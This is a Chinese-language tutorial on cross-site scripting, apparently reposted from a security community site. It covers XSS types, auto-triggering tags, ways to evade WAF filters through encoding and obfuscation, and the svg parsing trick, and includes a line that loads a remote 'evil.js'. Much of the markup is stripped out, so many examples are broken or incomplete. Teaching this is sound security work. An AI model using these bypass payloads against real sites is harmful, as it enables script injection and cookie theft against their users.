文章首发先知社区
XSS 简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
反射型
反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。
存储型
存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。
DOM型
DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
一些常用的标签与属性
下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。
scirpt 标签
标签用于定义客户端脚本,比如 JavaScript。
img 标签
标签定义 HTML 页面中的图像。
src = 1 onerror = alert ( 1 ); >
src = 1 onerror = alert ( "xss" ); >
input 标签
标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生:
竞争焦点,从而触发onblur事件:
input 标签的 autofocus 属性规定当页面加载时
元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
details 标签
标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭
元素时触发:
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
svg 标签
标签用来在HTML页面中直接嵌入SVG 文件的代码。
select 标签
标签用来创建下拉列表。
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
onfocus=alert(1) autofocus>
iframe 标签
标签会创建包含另外一个文档的内联框架。
video 标签
标签定义视频,比如电影片段或其他视频流。
audio 标签
标签定义声音,比如音乐或其他音频流。
body 标签
标签定义文档的主体。
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:
onscroll = alert ( 1 );>< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< br >< input autofocus >
textarea 标签
标签定义一个多行的文本输入控件。
keygen 标签
autofocus onfocus = alert ( 1 ) > //仅限火狐
marquee 标签
onstart = alert ( 1 ) > //Chrome不行,火狐和IE都可以
isindex 标签
type = image src = 1 onerror = alert ( 1 ) > //仅限于IE
利用 link 远程包含 JavaScript 文件
标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:
rel = import href = "http://47.xxx.xxx.72/evil.js" >
利用 JavaScript 伪协议
javascript:
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
a 标签
iframe 标签
img 标签
src = x onerror = alert ( 1 ) >
src = javascript:alert(1) > //IE7以下
form 标签
XSS 常见绕过姿势
绕过空格过滤
当空格被过滤了时,我们可以用
/
来代替空格:
/ src = "x" / onerror = alert ( 1 ); >
也可以:
/ src = "x" onerror = alert ( 1 ); >
绕过引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
src = x onerror = alert (` xss `); >
绕过括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
绕过关键字过滤
大小写绕过
alert ( 1 );
sRc = x onerRor = alert ( 1 ); >
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
alert(1);
srsrcc = x
onerror = alert ( 1 ); >
字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
src = "x" onerror = " a = 'aler' ; b = 't' ; c = '(1)' ; eval ( a + b + c ) " >
src = "x" onerror = " a =` aler `; b =` t `; c = '(`xss`);' ; eval ( a + b + c ) " >
// 在js中,我们可以用反引号代替单双引号
利用top
top [ "al" + "ert" ](` xss `);
top [ "al" + "ert" ]( "xss" );
XSS 输出点总结
WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。
输出在属性里
例如输出的位置位于value属性中:
我们可以选择直接闭合标签:
如果
< >
被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:
同样还有很多其他的payload:
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
还有一些特殊的场景,如:
这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本。
输出在HTML标签之间
例如输出的位置如下:
直接提交
即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:
•
•
•
•
那么就得先把那个标签闭合(后文会讲到原理),然后在注入XSS语句,例如:
输出在script标签之间
例如:
可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:
XSS 字符编码绕过
在XSS中,还有一个绕过关键字过滤的方法,那就是字符编码绕过。这里给出一个编码网站:https://bianma.bmcx.com/
编码属于计算机系统的基础知识,其内容写起来估计也可以出本书了,不过或多或少我们都有所了解,总的来说,编码就是将字符变为二进制数,而解码就是将二进制数还原为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程,下面大概介绍一下流程。
请求网页解码流程
•
HTML 编码/解码
当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是我们看到的源代码。具体的解码方式依具体情况而定,所以我们需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码。
但是在HTML中有些字符是和关键词冲突的,比如
<
、
>
、
&
,解码之后,浏览器会误认为它们是HTML标签,如果希望正确地显示预留字符,就需要在HTML中使用对应的HTML字符实体。
字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开头,后面跟着一个预定义的实体的名称,或用开头+实体编号+分号来表示。
常见的HTML字符实体有:
显示结果
描述
实体名称
实体编号
空格
<
小于号
<
<
>
大于号
>
>
&
和号
&
&
"
引号
"
"
'
撇号
'
(IE不支持)
'
但并不是所有的字符都有实体名称,但是它们都有自己的实体编号。
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个
<
符号(后面没有跟
/
符号)就会进入
标签开始状态(Tag open state)
,然后转变到
标签名状态(Tag name state)
、
前属性名状态(before attribute name state)
......最后进入
数据状态(Data state)
并释放当前标签的token。当解析器处于 数据状态(Data state) 时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
简单的说就是,浏览器对HTML解码之后就开始解析HTML文档,将众多标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。
所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。
•
URL 解码
URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。
在服务端接收到请求时,会自动对请求进行一次URL解码。
•
JavaScript 解码(只支持Unicode)
当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如
、
这样的标签时,解析器会自动切换到JavaScript解析模式,而
src
、
href
后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。
比如
test
,JavaScript 出发了 JavaScript 解释器,JavaScript 会先对内容进行解析,里边有一个转义字符
\u0031
,前导的 u 表示他是一个unicode 字符,根据后边的数字,解析为“1”,于是在完成 JavaScript 的解析之后变成了
test
。
下面用一个普通的XSS代码来说明一下浏览器对其解析的过程。
•
test
首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:
https://www.baidu.com
,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为Javascript,因此该环境中最后一步Javascript解析器还会进行解码操作,最后解析的脚本将被执行。
整个解析顺序为3个环节:HTML解码 —>URL解码 —>JS解码
我们可以对XSS攻击向量做这三种编码都可以成功弹框。
HTML 实体编码
我们可以将DOM节点中的内容转化为HTML实体,因为解析HTML之后建立起节点,然后会对DOM节点里面的HTML实体进行解析。HTML 编码主要分为10进制和16进制,格式为以
开头以分号
;
结尾(也可以不带分号)。
•
test
•
// 十进制
src = x onerror = alert ( "xss" )
>
// 十六进制
src = x onerror = alert ( "xss" ) >
// 也可以不带分号
src = x onerror = alert ( "xss" ) >
但是要注意,对于HTML字符实体,并不是说任何地方都可以使用实体编码,只有处于 “数据状态中的字符引用”、“属性值状态中的字符引用” 和 “RCDATA状态中的字符引用” 这三种状态中的HTML字符实体将会从
…
形式解码,转化成对应的解码字符并被放入数据缓冲区中。
(1)数据状态中的字符引用:
数据状态就是解析一个标签内里面的内容,如
...
中的内容,当浏览器解析完
标签之后如果发现标签内还含有实体字符的话,就会有一个实体编码解析了,如:
src = x onerror = alert ( "xss" ) >
如下图,此时在页面上显示的是经过转义的内容:
image-20210202191314434
这看上去是一个标准的标签语言,但并不会触发xss,因为当前HTML解析器处于“数据状态”,不会转换到“标签开始状态”,所以就不会建立新的标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”而不是XSS攻击向量。
(2)属性值状态中的字符引用:
属性值状态中的字符引用就好理解了,就是src,herf这样的属性值中的HTML实体,他也是会先进行HTML解码的,比如下面的语句,会先对里面HTML解码,然后再继续往下执行:
(3)RCDATA状态中的字符引用:
然后再来看一下什么是RCDATA转态,这里需要我们先了解一下HTML中有五类元素:
1.
空元素(Void elements),如
、
、
等等。空元素不能容纳任何内容,因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间。
2.
原始文本元素(Raw text elements),有
和
。原始文本元素可以容纳文本。
3.
RCDATA元素(RCDATA elements),有
和
。RCDATA元素可以容纳文本和字符引用。
4.
外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素。外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释。
5.
基本元素(Normal elements),即除了以上4种元素以外的元素。基本元素可以容纳文本、字符引用、其他元素和注释。
注意到RCDATA元素中有
和
两个属性并且有字符引用,也就是当实体字符出现在这两个标签里面的时候,实体字符会被识别并进行HTML编码解析。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”,所以就不会建立新的标签,所以下面这个语句触发不了XSS:
image-20210202194554798
但是如果直接放进去标签的内容呢,不带转义字符呢,如下:
同样也是不会触发XSS的:
image-20210202194424551
这涉及到了RCDATA的一个特殊的情况。即在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“ 或者
,因此,在
和
的内容中不会创建标签,就不会有脚本能够执行了。
另外还有一点要注意:我们从上面HTML的五类元素中还发现有一个原始文本元素
在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符。浏览器看不懂中间这堆编码是和啥东西,所以也不会被执行,如下:
image-20210202194716116
那么如何才能让里面的内容进行转义并执行弹窗呢,这里需要利用到XSS的一个黑魔法——“svg”,我们下文中会提及。
URL编码
我们可以并将src或href属性中的内容进行URL编码,当HTML解析器对src或href中的字符完成HTML解码后,接下来URL解析器会对src或href中的值进行URL解码。
下面给出几个实例。
•
test
•
注意,伪协议头
javascript:
是不能进行编码的。这里就有一个URL解析过程中的一个细节了,即不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,就会导致DOM节点中被编码的“javascript”没有被解码,当然不会被URL解析器识别了。就比如说
http://www.baidu.com
可以被URL编码为
http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d
,但是不能把协议也进URL编码:
%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d
。
但是伪协议头
javascript:
可以进行HTML编码。
Javascript 编码
我们可以将DOM节点中的内容转化为 Javascript 编码。当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如
、
这样的标签时,解析器会自动切换到JavaScript解析模式,而
src
、
href
后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。
Javascript 中可以识别的编码类型有:
•
Unicode 编码
•
八进制编码
•
十六进制编码
一般情况下我们使用Unicode编码的比较广泛,而八进制和十六进制只有在DOM环境或eval()等函数中才可以用。
Unicode 编码
•
\u 0061 \u 006C \u 0065 \u 0072 \u 0074 ( "xss" )
\u 0061 \u 006C \u 0065 \u 0072 \u 0074 ( "\u0078\u0073\u0073" )
•
test
但要注意,我们同样也不能对伪协议头
javascript:
进行 Javascript 编码。并且像圆括号、双引号、单引号这样的符号我们也不能进 Javascript 编码,但是能进行HTML编码。
在DOM环境中的JavaScript编码
对于八进制编码和十六进制编码,与 Unicode 编码还是有区别,像下面的XSS向量是不能直接执行的:
•
\1 41 \1 54 \1 45 \1 62 \1 64 ( "xss" )
•
test
如下图,插入之后没有任何反应:
image-20210202160311365
image-20210202160525348
要想让他们能够执行我们要将他们放在DOM环境中,即DOM型的XSS。
测试代码:
id = 's' > test
var search = "..." ;
document . getElementById ( 's' ). innerHTML = search ;
以上情况很多都是出现在你搜索后,显示你所查询的关键字,变量
search
是一个可控点,当我们查询一个XSS攻击向量后,变量
search
就会被赋值为这个XSS向量,从而插入到div标签中触发XSS,如下所示:
id = 's' > test
var search = "" ;
document . getElementById ( 's' ). innerHTML = search ;
image-20210202163852523
此时如果过滤了
<
、
>
、
'
、
"
、
&
、
%
等等这些字符的话,我们便可以用JavaScript编码的方法将XSS向量全部编码,即
的以下编码都可以弹窗:
// Unicode编码
\u 003C \u
0069 \u 0066 \u 0072 \u 0061 \u 006D \u 0065 \u 0020 \u 0073 \u 0072 \u 0063 \u 003D \u 006A \u 0061 \u 0076 \u 0061 \u 0073 \u 0063 \u 0072 \u 0069 \u 0070 \u 0074 \u 003A \u 0061 \u 006C \u 0065 \u 0072 \u 0074 \u 0028 \u 0027 \u 0078 \u 0073 \u 0073 \u 0027 \u 0029 \u 003E \u 003C \u 002F \u 0069 \u 0066 \u 0072 \u 0061 \u 006D \u 0065 \u 003E
// 八进制编码
\7 4 \1 51 \1 46 \1 62 \1 41 \1 55 \1 45 \4 0 \1 63 \1 62 \1 43 \7 5 \1 52 \1 41 \1 66 \1 41 \1 63 \1 43 \1 62 \1 51 \1 60 \1 64 \7 2 \1 41 \1 54 \1 45 \1 62 \1 64 \5 0 \4 7 \1 70 \1 63 \1 63 \4 7 \5 1 \7 6 \7 4 \5 7 \1 51 \1 46 \1 62 \1 41 \1 55 \1 45 \7 6
// 十六进制编码
\x 3c \x 69 \x 66 \x 72 \x 61 \x 6d \x 65 \x 20
\x 73 \x 72 \x 63 \x 3d \x 6a \x 61 \x 76 \x 61 \x 73 \x 63 \x 72 \x 69 \x 70 \x 74 \x 3a \x 61 \x 6c \x 65 \x 72 \x 74 \x 28 \x 27 \x 78 \x 73 \x 73 \x 27 \x 29 \x 3e \x 3c \x 2f \x 69 \x 66 \x 72 \x 61 \x 6d \x 65 \x 3e
image-20210202163825646
还有一种让八进制和十六进制编码的XSS攻击向量执行的方式便是将XSS向量放在某个能把字符串当做JavaScript代码来执行的函数里,比如eval()、setTimeout()、setInterval()等函数。如下示例:
•
eval ( "\141\154\145\162\164\50\42\170\163\163\42\51" )
•
test
•
src = x onerror = eval ( '\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29' ) >
或者也可以直接将一整段js代码编码后放入eval()函数中执行。
混合编码
混合编码就是对一个XSS向量同时进行多种编码,如下示例:
•
test
也可以利用解码顺序进行混合编码,如下示例:
•
test
首先对“alert”进行JavaScript Unicode编码:
然后再对
\u0061\u006c\u0065\u0072\u0074
进行URL编码:
最后对标签中的
javascript:%5c%75...%37%34("xss")
整体进行HTML编码即可:
SVG:XSS的一个黑魔法
我们在上文HTML编码那里最后留了一个坑,即HTML的五类元素中,像
、
这样的原始文本元素在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符。
也就是说,向下面这样的代码,浏览器不会对其中的HTML实体字符进行解码,也就不会执行并触发XSS了:
alert ( "xss" )
alert ( 1 )
alert ( 1 )
那如何绕过HTML原始文本元素进而执行HTML实体解码呢,这涉及到了
的魔力,那是一种特殊的触发效果,单纯script标签内加载html实体编码,只会当做文本,没有任何触发结果,如下图:
image-20210202201352827
但是当在前面加上
后,却成功弹窗了:
alert ( "xss" )
alert ( 1 )
alert ( 1 )
image-20210202200455541
这是为什么呢?
是因为
标签属于HTML五大元素中的外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释,也就是说在解析到
标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签
。而在这一套新的标准遵循XML解析规则,在XML解析中,实体编码会自动解码成相应的字符,重新来一遍标签开启状态,此时就会执行XSS了。如下图,弹窗后我们查看页面源码。发现原本不能被HTML解码的内容被
标签自动解码了:
image-20210202200943830
[CISCN2019 华东北赛区]Web2 这道题运用的就是这个知识点。
XSS 测试流程思路
下面让我们来看一下XSS绕过的测试流程。
现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:
1.
暴力测试(输入大量的payload,看返回结果)
2.
根据正则推算
3.
利用浏览器bug
初步测试
(1)尝试插入比较正常的HTML标签,例如:
、
、
、
等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。
(2)尝试插入不闭合的标签,例如:
、
、
i>
、
u>
、
等,然后看一下返回响应,是否对开放的标签也有过滤。
(3)然后测试几种常见的XSS向量: